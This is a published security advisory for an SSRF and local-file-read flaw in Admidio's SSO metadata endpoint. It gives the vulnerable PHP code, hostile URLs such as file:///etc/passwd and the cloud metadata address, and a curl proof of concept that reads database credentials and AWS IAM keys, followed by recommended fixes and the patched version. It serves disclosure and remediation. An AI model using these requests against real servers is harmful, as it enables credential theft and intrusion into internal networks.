Skip to content

GHSA-6j68-gcc3-mq73 CVE-2026-32812

Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint

Medium Packagist
Severity
6.8 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 37.85% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
5.0.7
Upgrade admidio/admidio to this version or later

Description

Summary

The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34

$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo "Failed to fetch metadata";
    exit;
}

echo $metadata;

FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():

Scheme Impact
file:///etc/passwd Read any local file the web server process can access
http://127.0.0.1/ SSRF to localhost services (databases, admin panels, internal APIs)
http://169.254.169.254/latest/meta-data/ AWS EC2 instance metadata (IAM credentials)
data://text/plain,payload Data URI content injection

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd"  <-- passes validation

php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash  <-- file contents returned

file:// Does Not Require allow_url_fopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///etc/passwd"

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://127.0.0.1:6379/"

(Probes a Redis instance on localhost.)

Impact

  • Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files.
  • Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.
  • Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
  • Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
  • Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.

Recommended Fix

Fix 1: Restrict to HTTPS scheme and block internal IP ranges

$rawUrl = $_GET['url'] ?? '';

// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
    http_response_code(400);
    echo "Only HTTPS URLs are permitted";
    exit;
}

$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    http_response_code(400);
    echo "URL resolves to a private or reserved IP address";
    exit;
}

$metadata = file_get_contents($url);

Fix 2: Use cURL with explicit scheme restriction

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);

Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.

Affected versions

Packagist

PackageVulnerableFixed in
admidio/admidio
>= 5.0.0, < 5.0.7
5.0.7

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

admidio/admidio Packagist → 5.0.7

composer
composer require admidio/admidio:^5.0.7

Severity breakdown

CVSS 3.1 6.8

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-hm42-q32m-vj4f
Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests
Medium Also affects admidio/admidio
GHSA-xw54-c3mx-9pm3
Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024
Medium Also affects admidio/admidio
GHSA-mch8-wf3h-6x88
Admidio writes session IDs and auto-login cookie values to application logs
Medium Also affects admidio/admidio
GHSA-4rgq-38mh-9xqg
Admidio PKCS#12 private key export action lacks CSRF protection
Medium Also affects admidio/admidio
GHSA-x628-457g-2pw9
Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders
High Also affects admidio/admidio
GHSA-q6w3-hpfv-rg36
Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders
Medium Also affects admidio/admidio
GHSA-xg76-5qj2-2hhv
Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation
Medium Also affects admidio/admidio
GHSA-mx25-j3rc-6w2w
Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords
Medium Also affects admidio/admidio
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor